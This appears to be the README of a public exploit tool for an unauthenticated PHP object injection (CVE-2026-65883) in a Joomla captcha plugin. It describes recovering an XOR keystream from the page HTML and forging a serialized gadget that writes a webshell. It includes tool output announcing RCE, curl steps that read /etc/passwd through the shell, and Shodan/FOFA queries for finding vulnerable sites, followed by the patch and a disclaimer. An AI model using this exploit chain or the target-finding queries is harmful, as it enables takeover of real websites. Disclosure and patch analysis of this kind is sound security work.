
Aimy Captcha-Less Form Guard Joomla Component PHP Object Injection RCE. clfgd XOR keystream recovery + unserialize(). CVSS 10.0 | CWE-502 | aimy_captcha-less_form_guard < 20.1
Unauthenticated PHP Object Injection in Aimy Captcha-Less Form Guard for Joomla. The onCheckAnswer() method base64-decodes the attacker-controlled clfgd POST field, runs it through a repeating-key XOR, and passes the result directly to unserialize() — with no HMAC, no allowed_classes restriction, and no integrity check.
| Status | Version |
|---|---|
| Vulnerable | 18.0 — 20.0 |
| Patched | 20.1 (July 29, 2026) |
The onCheckAnswer() method in plg_captcha_aimycaptchalessformguard passes attacker-controlled input directly to unserialize():
// onCheckAnswer() — pre-20.1
$cld = false;
if (($clfgd = $input->get('clfgd', '', 'RAW'))) {
$cld = @unserialize(
XorHelper::crypt( base64_decode($clfgd), self::getXorKey() )
);
}
The XOR "encryption" is a Vigenère cipher with a per-session key — no authentication, only obfuscation.
// XorHelper::crypt() — repeating-key XOR, period 231
static public function crypt($bytes, $key) {
$ekey = str_split(self::getHashedKey($key)); // sha512.sha256.sha1 = 232 hex
$s = str_split(strVal($bytes));
$klen = count($ekey);
for ($i = 0; $i < count($s); $i++) {
$val .= $s[$i] ^ $ekey[$i % ($klen - 1)]; // period 231
}
return $val;
}
The plugin renders both ciphertext and plaintext in the same HTML response:
// onDisplay()
$cld->trap_ids = array($id, $trap_id); // readable from HTML
$cld->mt = time() + 7; // known (server time + 7s)
$html .= '<input name="clfgd" value="'
. base64_encode(XorHelper::crypt(serialize($cld), $key))
. '" />';
Since both trap_ids (extractable from the <span id="..._mark"> and honeypot input) and the ciphertext are in the HTML, XOR-ing them recovers ~94 bytes of the 231-byte keystream.
clfgd ciphertext + trap_ids + timing → recover 94 bytes of keystreamFormattedtextLogger serialized object so structural bytes fall on known keystream positionsclfgd → unserialize() → __destruct() → formatLine() → writes PHP webshell/random.php?c=id → RCE as www-data$ python cve_2026_65883.py -t target.com
Target : target.com
Status : Aimy Captcha-Less Form Guard v20.0
Form : /index.php?option=com_users&view=registration
Keystream : 94 bytes recovered
Shell : a1b2c3d4e5.php
Gadget : 1460 bytes
POST : HTTP 303
Shell URL : https://target.com/a1b2c3d4e5.php
RCE : CONFIRMED!
RCE ACHIEVED!
https://target.com/a1b2c3d4e5.php?c=id
# Step 1 — Get form + recover keystream
curl -sk "https://target.com/index.php?option=com_users&view=registration" \
| grep -oP 'clfgd" value="\K[^"]+' | base64 -d > /tmp/ct.bin
# Step 2 — Build FormattedtextLogger gadget + XOR encrypt
python cve_2026_65883.py -t target.com -c "id"
# Step 3 — Access webshell
curl -sk "https://target.com/a1b2c3d4e5.php?c=cat+/etc/passwd"
# Aimy Captcha hidden field
body="clfgd" && body="Joomla"
# Plugin version disclosure
body="aimycaptchalessformguard"
# Shodan
http.html:"clfgd" http.component:"Joomla"
// 20.0 (vulnerable)
$cld = @unserialize( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) );
// 20.1 (fixed)
$cld = @json_decode( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) );
json_decode() cannot instantiate PHP objects — the POP gadget chain is severed.
This tool is for educational and authorized security testing only. Use against systems you own or have explicit permission to test.
Not affiliated with Aimy Extensions or VulnCheck.
| Field | Detail |
|---|
| CVE | CVE-2026-65883 |
| Product | Aimy Captcha-Less Form Guard (Joomla plugin) |
| CVSS 4.0 | 10.0 (Critical) |
| Type | CWE-502 — Deserialization of Untrusted Data |
| Affected | 18.0 — 20.0 |
| Patched | 20.1 (July 29, 2026) |
| Discovered | Valentin Lobstein (Chocapikk) / VulnCheck — July 26, 2026 |
| Resource | Link |
|---|
| VulnCheck Blog | vulncheck.com/blog/aimy-captcha-less-form-guard-object-injection |
| IONIX Threat Center | ionix.io/threat-center/cve-2026-65883 |
| CVE Record | cve.org/CVERecord?id=CVE-2026-65883 |
| NVD | nvd.nist.gov/vuln/detail/CVE-2026-65883 |